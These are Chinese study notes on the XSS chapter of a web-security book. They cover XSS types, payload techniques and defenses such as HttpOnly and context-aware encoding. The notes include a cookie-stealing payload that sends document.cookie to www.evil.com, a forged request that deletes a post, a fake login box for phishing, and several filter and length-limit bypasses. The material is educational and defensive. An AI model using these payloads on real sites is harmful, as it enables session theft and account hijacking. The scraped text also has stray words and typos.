[白帽子讲WEB安全]XSS

第三章:XSS <Cross Site Script>javascript

3.1 XSS简介php

经过“HTML注入”篡改了网页,插入了恶意的脚本,从而在用户浏览网页时,控制用户浏览器的一种攻击<一开始跨域,现在是否跨域已经不重要>html

XSS破坏力强大,且产生的情景复杂,难以一次性解决。如今业内达成的共识是:针对各类不一样场景产生的XSS,须要区分情景对待。java

XSS分类:反射型XSS、存储型XSSDOM Based XSSchrome

反射型XSS又称“非持久性XSS”(Non-persistent XSS),只是简单地把用户输入的数据“反射”给浏览器。跨域

存储型XSS又称“持久型XSS”,用户输入的数据存储在服务器端,具备很强的稳定性浏览器

DOM Based XSS这种类型并不是按照“数据是否保存在服务器端”来划分,从效果上来讲也是反射型XSS,但其造成缘由较特别。出于历史缘由,就把他单独做为一个分类了。修改页面的DOM结点造成XSS,故称之为DOM Based XSS。安全

3.2 XSS攻击进阶服务器

3.2.1 初探XSS Payloadcookie

XSS Payload其实就是一段Javascript脚本(还能够是Flash或其余富客户端的脚本),因此任何JavaScript脚本能实现的功能,XSS Payload都能作到。一个最多见的XSS Payload,就是经过读取浏览器的Cookie对象,从而发起“Cookie 劫持”攻击

Example

var img = document.createElement(“img”);

img.src = “http://www.evil.com/log?”+escape(document.cookie);

document.body.appendChild(img);

能够经过XSS将这段代码注入到目标页面中,并在最后将document.cookie对象做为参数发送到远程服务器

获取某个打开的页面的cookie:在浏览器地址栏中输入:

javascript:alert(document.cookie)

在当前的WEB中,Cookie通常是用户登录的凭证,浏览器发起的多有请求都会自动带上Cookie。若是Cookie没有绑定客户端信息,当攻击者窃取了Cookie后,就能够不用密码登录用户的帐户

Cookie的“HttpOnly”标识能够防止“Cookie劫持”

3.2.2 强大的XSS Payload

Cookie劫持对抗:Set-Cookie时给关键字Cookie植入HttpOnly标识、Cookie与IP绑定

3.2.2.1 构造GET与POST请求

GET:

Example Code :删除文章编号为156713012的文章,攻击者只需让博主执行下面这段JS代码(XSS Payload)

var img = document.createElement(“img”);

img.src =  “http://blog.sohu.com/manage/entry.do?m=delete&id=156713012”;

document.body.appendChild(img);

POST

方法一:构造form表单并自动提交<构造DOM节点、innerHTML>

方法二:经过XMLHttpRequest发送一个POST请求

攻击者除了能够实施Cookie劫持外,还可以经过模拟GET、POST请求操做用户浏览器

3.2.2.2 XSS钓鱼

Example 1:验证码绕过

对于验证码,XSS Payload能够经过读取页面内容,将验证码的图片URL发送到远程服务器上来实施---攻击者能够在远程XSS后台接受当前验证码,并将验证码的值返回给当前XSS Payload,从而绕过验证码

Example 2:密码修改<XSS与钓鱼结合>

利用JavaScript在当前页面上“画出”一个伪造的登录框,当用户在登录框中输入用户名和密码后,其密码将被发送至黑客的服务器

充分发挥想象力,可使得XSS攻击的威力更加巨大

3.2.2.3 识别用户浏览器

最简单的办法:经过XSS读取浏览器的UserAgent对象

javascript:alert(navigator.userAgent)

可是UserAgent能够被伪造,好比Firefox有不少扩展能够屏蔽或自定义浏览器发送的UserAgent,因此JS读取的浏览器对象不必定准确

更高级的方法:浏览器之间的实现存在差别---不一样的浏览器会各自实现一些独特的功能,而同一个浏览器的不一样版本之间也可能会有细微的差异,几乎不会误报

参考代码:P54

3.2.2.4 识别用户安装的软件

Example code 1:检测是否有迅雷控件(XunLeiBHO.ThunderIEHelper)

try{

var Obj = new ActiveXObject('XunLeiBHO.ThunderIEHelper');

}cactch(e){

//异常了,不存在该控件

}

Flash的system.capabilities对象,可以查询客户端电脑中的硬件信息

Firefox的插件:可经过查询“navigator.plugins”对象就可获得全部插件

Firefox的扩展:略复杂经过检测扩展的图标来断定是否存在该扩展<需借助一个特殊协议:chrome://> Example:检测Flash Got

var m = new Image();

m.onload = function() {

alert(1);//图片存在

};

m.onerror = function() {

alert(2);//图片不存在

};

m.src  = “chrome://flashgot/skin/icon32.png”;//连接图片

3.2.2.5 CSS History Hack<经过CSS 发现一个用户曾经访问过的网站>

原理:利用style的visited属性---若是用户曾经访问过某个连接,那么这个连接的颜色会变的不同凡响。可是Firefox在2010年3月底修补了这个问题

POC:Proof Of Concept,验证性测试

3.2.2.6 获取用户的真实IP地址

JS自己并无提供获取本地IP的能力,需借助第三方软件,好比JRE,XSS可经过调用JavaApplet的借口获取客户端的本地IP地址

Example code

AttackAPI.dom.getInternalIP = function () {

try {

var sock = new java.net.Socket();

sock.bind ( new java.net.InetSocketAddress ( '0.0.0.0' , 0) );

sock.connect ( new java.net.InetSocketAddress ( document.domain, ( !document.location.port )?80:document.location.port) );

return sock.getLocalAddress().getHostAddress();

}catch (e) {}

return '127.0.0.1';

};

另外两个利用java的代码见书中P61

3.2.3 XSS攻击平台

Attack API<XSS Payload封装>、BeEF<完整的XSS攻击过程>、XSS-Proxy<轻量级>

3.2.4 终极武器:XSS Worm

3.2.4.1 Samy Worm

过滤危险HTML标签,只保留<a>,<img>,<div>等安全标签

绕过:容许用户控制标签的style属性,可经过style构造出XSS

<div style=“background:url('javascript:alert(1)')”>

过滤“javascript”,“onreadystatechange”

绕过:拆分法

return eval (' document.body.inne ' + ' rHTML ');

3.2.4.2 百度空间蠕虫

通常来讲,用户之间发生交互行为的页面,若是存在存储型XSS,则比较容易发起XSS   Worm攻击. (好比,发送站内信、用户留言等页面,都是XSS的高发区,须要重点关注,若是一个页面只能由用户我的查看,好比“我的资料设置”页面,由于缺少用户之间的互动功能,因此即便存在XSS,也不能被用于XSS Worm传播)

3.2.5 调试JavaScript

Firebug , IE 8 Developer Tools , Fiddler , Http Watch

3.2.6 XSS构造技巧

3.2.6.1 利用字符编码

Example: 百度在一个<script>标签中输出了一个变量,其中转义了双引号:

var redirectUrl = “\”;alert(/XSS/);'';   //通常来讲没有XSS,由于变量处于双引号中

可是,百度返回页面采用GBK/GB2312编码,故“%c1\”这两个字符组合会成为一个Unicode字符,在firefox中会认为这个一个字符,因此构造:

%c1”;alert(/XSS/);//

3.2.6.2 绕过长度限制

<input type=text value=”$var”>

XSS构造:

“><script>alert(/xss/)</script>”

但愿的效果:

<input type=text value=””><script>alert(/xss/)</script>”/>

假设长度限制为20个字节,则这段XSS会被切割为:

“><script>alert(/xss

攻击者利用事件(Event)来缩短所须要的字节数:

“onlick=alert(1)”//

实际输出为:

Input type=text value=”” onclick=alert(1)//”/>

但利用“事件”可以缩短的字节数是有限的,最好的办法是把XSS Payload写到别处,再经过简短的代码加载这段XSS Payload

最经常使用的一个藏代码的地方就是“location.hash”,不会被记录到WEB日志中

location.hash自己没有长度限制

在某些特殊环境下,利用注释符绕过长度限制

<input id=1 type=”text” value=””>

xxxxxxxxxxxxxxxxx

<input id=2 type=”text” value=””>

输入:

第一个框:   “><!--

第二个框:    --><script>alert(/xss/);</script>

最终效果:

<input id=1 type=”text” value=””><!--” />

xxxxxxxxxxxxxxxxxx

</input id=2 type=”text” value=”--><script>alert(/xss/);</script>” />

3.2.6.3 使用<base>标签

定义页面上全部使用“相对路径”标签的hosting地址

<base>并不是只能用于<head>内,而是能够出如今页面任何地方,而且做用于位于该标签以后的全部标签

<base href=”http://www.evil.com”>

<script src=”x.js”></script>

<img src=”y.jpg” />

<a href=”auth.do”>auth</a>

在设计xss安全方案时必定要过滤掉该标签

3.2.6.4 window.name的妙用

对window.name赋值无长度限制,window对象是浏览器的窗体,非document对象,故不受同源策略限制。攻击者利用这个对象能够实现跨域、跨页面传递数据

www.a.com/test.html代码

<body>

<script>

window.name=”test”

alert( document.domain+”     ” + window.name );

window.location=”http://www.b.com/test1.html”;

</script>

</body>

www.b.com/test1.html

<body>

<script>

alert( document.domain + “   ” + window.name );

</script>

</body>

缩短XSS Payload长度

<script>

window.name = “alert(document.cookie)”;

location.href = “http://www.xssedsite.com/xssed.php”;

</script>

在同一窗口打开XSS的站点后,只需经过XSS执行如下代码便可

eval(name);

其余技巧请百度:《突破XSS字符数量限制执行任意JS代码》

3.2.7-变废为宝:Mission Impossible

3.2.7.1 Apache Expect Header XSS

服务器出错时,会把Expect头的内容未经任何处理便写入到页面中,所以Expect头中的HTML代码就被浏览器解析执行了。-> 使用Flash构造请求。

3.2.7.2 Anehta 的回旋镖

反射型XSS也能想存储型XSS同样利用:将要利用的XSS嵌入一个存储型XSS中

思路:若是在B域上存在一个反射型XSS B,在A域上存在一个存储型XSS_A,当用户访问A域上的XSS_A时,同时嵌入B域上的XSS_B则能够达到在A域的XSS攻击B域用户的目的。

3.2.8-容易被忽视的角落:Flash XSS

Flash中嵌入ActionScript脚本,因为Flash文件如此危险,因此在实现XSS Filter时通常都会禁用<embed>,<object>等标签

对策:若仅仅是视频文件,则要求转码为flv文件<静态>,如果带动态脚本的flash,则要经过flash的配置进行限制<allowScriptAccess, allowNetworking, XSS过滤>

3.2.9-真的高枕无忧吗:JavaScript开发框架

Dojo, YUI, JQuery

3.3 XSS的防护

流行的浏览器内置了一些对抗XSS的措施,如FirefoxCSPNoscript扩展,IE8内置的XSS Filter

3.3.1 四两拨千金:HttpOnly<set-Cookie时设置,需给关键Cookie都加上HttpOnly>

严格讲:HttpOnly并不是为了对抗XSS,它解决的是XSS后的Cookie劫持攻击;设置以后JavaScript读取不到Cookie的值

绕过:Apache支持的一个HeaderTRACE. TRACE通常用于调试,它会将请求头做为Response Body返回。

使用HttpOnly有助于缓解XSS攻击,但仍然须要其余可以解决XSS漏洞的方案

3.3.2 输入检查

输入检测的逻辑,必须放在服务器端代码中实现。

目前Web开发的广泛作法,是同时在客户端JS中和服务端代码中实现相同的输入检查。客户端JS输入检查能够阻碍大部分误操做的正经常使用户,从而节约服务器资源

在XSS的防护上,输入检查通常是检查用户输入的数据中是否包含一些特殊字符,如<、>、'、”等,若是发现存在特殊字符,则将其过滤或者编码

比较智能的“输入检查”,可能还会匹配XSS特征,好比查找用户数据中是否包含<script>,javascript等敏感字符。

这种输入检查的方式被称为XSS Filter

XSS Filter在用户提交数据时获取变量,并进行XSS检查;但此时用户数据并无结合渲染页面的HTML代码,所以XSS Filter对语境的理解并不完整。(恶意JS URL可绕过)

在大多数状况下,URL是一种合法的用户数据

XSS Filter还有一个问题----对<,>等字符的处理,可能会改变用户数据的语义

3.3.3 输出检查

通常来讲,除了富文本的输出外,在变量输出到HTML页面时,可使用编码或者转义的方式来防护XSS

3.3.3.1安全的编码函数

html:   HtmlEncode:字符转换成HTMLEntities,对应的标准是ISO-8859-1

至少转换:

& → &amp

< → &lt

> → &gt

“  → &quot

' → &#x27        &apos(不推荐)

/ → &#x2F

Php:   htmlentities() , htmlspecialchars()

JavaScript:   JavaScriptEncode

JaVaScriptEncodeHtmlEncode的编码方式不一样,他须要使用“\”对特殊字符进行转义。在对抗XSS时,还要求输出的变量必须在引号内,以免形成安全问题

var x = escapeJavaScript($evil);   //若是escapeJavaScript()只转义几个危险字符:',”,<,>,\,

var y = '”' + escapeJavaScript($evil) + ''''; //&,#等,那么这两行代码输出后可能会变成以下

Var x = 1;alert(2);                           //执行了额外代码

var y = “1;alert(2)”;                       //安全,若想逃逸出括号范围,较困难:

Var y = “\”;alert(1);\/\/”;

更加严格的JavaScriptEncode:除了数字和字母外的全部字符,都使用十六进制”\xHH”方式编码

var x = 1;alert(2);      →    var x = 1x3balert\x282\x29;

XML:   XMLEncode  <HtmlEncode相似>

Json:   JSONEncode  <JavascriptEncode相似>

注意:在适当的时候选用适当的函数,编码后的数据长度可能会发生改变,从而影响某些功能,在写代码时须要注意这个细节,以免产生没必要要的bug

3.3.3.2只须要一种编码吗

XSS攻击主要发生在MVC架构中的view层,大部分的XSS漏洞能够在模板系统中解决

对于浏览器来讲,htmlparser会优先于JavaScript Parser执行,因此解析过程是,被HtmlEncode的字符先被解码,而后执行JavaScript事件

致使XSS攻击发生的缘由,是因为没有分清楚输出变量的语境

3.3.4 正确防护XSS

XSS的本质仍是一种“HTML注入”,用户的数据被当成了HTML代码一部分来执行,从而混淆了本来的语义,产生了新的l语义

XSS可能发生的全部场景

HTML标签中输出         防护:HtmlEncode

<div>$var</div>

<a href=# >$var</a>

<div><script>alert(/xss/)</script></div>

<a href=# ><img src=# onerror=alert(1) /></a>

HTML属性中输出              防护:HtmlEncode

OWASP ESAPI中推荐一种更严格的HtmlEncode--除字母数字外其余全部特殊字符都被编码

<div id=”abc” name=”$var” ></div>

<div id=”abc” name=”><script>alert(/xss/)</script><””></div>

<script>标签中输出             防护:JavascriptEncode

<script>

var x = “$var”;

</script>

<script>

var x = “”;alert(/xss/);//”;

</script>

在事件中输出                      防护:JavascriptEncode

<a href=# onclick=”funcA('$var')”>test</a>

<a href=# onclick=”funcA('');alert(xss);//')”>test</a>

CSS中输出                       防护:推荐OWASP ESAPI中的encodeForCSS()

因此,通常来讲,尽量禁止用户可控的变量在<style>标签、HTML标签的style属性以及CSS文件中输出

在地址中输出                    防护:URLEncode

通常来讲,在URLpath或者search中输出

<a href=”http://www.evil.com/?test=$var”>test</a>

<a href=”http://www.evil.com/?test=” onclick=alert(/xss/) “”>test</a>

URL的组成:[Protocal][Host][Path][Search][Hash]

Protocal和Host部分是不可以使用URLEncode的,不然会改变URL的语义

若URL可以被用户彻底控制,那么:可构造伪协议攻击

 

<a href=”var”>test</a>            → <a href=”javascript:alert(1);”>test</a>

DataURI          可以将一段代码写在URL里,以下:

<a href=”data:text/html;base64,lkdjfaldkjflkjadlfkjalsdkjfkldjfoirejfkjmcnv=”>test</a>

以text/html的格式加载编码为base64的数据

对策:检查变量是否以http开头

3.3.5 处理富文本<用户提交的一些自定义的HTML代码>

<script>,<iframe>,<base><form>等,应该被严格禁止

标签选择上,应该使用白名单,避免使用黑名单。好比,之容许<a>,<img>,<div>等比较安全的标签存在

尽量禁止用户自定义CSS与style,若是必定要用,则像过滤富文本同样过滤CSS

开源项目:Anti-Samy,   HTMLPurify

3.3.6 防护DOM Based XSS

DOM Based XSS是一种比较特别的XSS漏洞,前文提到的几种防护方法都不太适用,须要特别对待

<script>

var x = “var”;

document.write(“<a href = '”+x+”'>test</a>”);

</script>

    首先,在”$var”输出到<script>时,应该执行一次JacascriptEncode;其次,在document.write输出到HTML页面时,要分具体状况看待,若是是输出到事件或者脚本,则需再作一次javascriptEncode;若是是要输出到HTML内容或者属性,则要作一次htmlEncode。

也就是说,从javascript输出到HTML页面,也至关于一次XSS输出过程,须要分语境使用不一样的编码函数。

会触发DOM Based XSS的地方不少,一下几个地方是JavaScript输出到HTML页面的必经之路:

Document.write()

Document.writeln()

Xxx.innerHTML=

XXX.outerHTML=

InnerHTML.replace

Document.attachEvent()

Window.attachEvent()

Document.location.replace()

Document.location.assign()

...

除了上述,一下几个地方也可能成为DOM Based XSS的输入点,须要重点关注

  • 页面中的inputs框
  • window.location(href,hash等)
  • window.name
  • document.referrer
  • document.cookie
  • localstorage
  • XMLHttpRequest返回的数据

3.3.7 换个角度开xss风险

通常来讲,存储型XSS的风险高于反射型XSS。由于存储型XSS会保存在服务器上,有可能会跨页面存在。它不改变页面URL的原有结构,所以有时候还能逃过一些IDS的检测。比喻IE8的XSS Filter和firefox的Noscript Extension,都会检查地址栏中的地址是否包含XSS脚本。而跨页面的存储型XSS可能会绕过这些检测工具。

攻击过程来讲,反射型XSS,通常要求攻击者诱使用户点击一个包含XSS代码的URL连接;而存储型XSS,则只须要让用户查看一个正常的URL连接。好比一个Web邮箱的邮件正文页面存在一个存储型XSSL漏洞,当用户打开一封邮件时,XSS Payload会被执行。这样的漏洞极其隐蔽,且埋伏在用户的正常业务中,风险颇高。

风险角度看,用户之间有互动的页面,是可能发起XSS Worm攻击的地方。而根据不一样页面的page view高低,也能够分析出哪些页面受XSS攻击后的影响会更大。好比在网站首页发生的XSS攻击,确定比网站合做伙伴页面的XSS攻击要严重的多

在修补XSS漏洞时遇到的醉倒挑战之一就是漏洞数量太多,所以开发者可能来不及,也不肯意修补这些漏洞。从风险角度从新定位每一个XSS漏洞,就具备了重要的意义

3.4 小结

理论上,XSS漏洞虽然复杂,但却时能够完全解决的,在设计XSS解决方案时,应该深刻理解XSS攻击原理,针对不一样的场景使用不一样的方法,同时不少开源项目为咱们提供了参考

相关文章
相关标签/搜索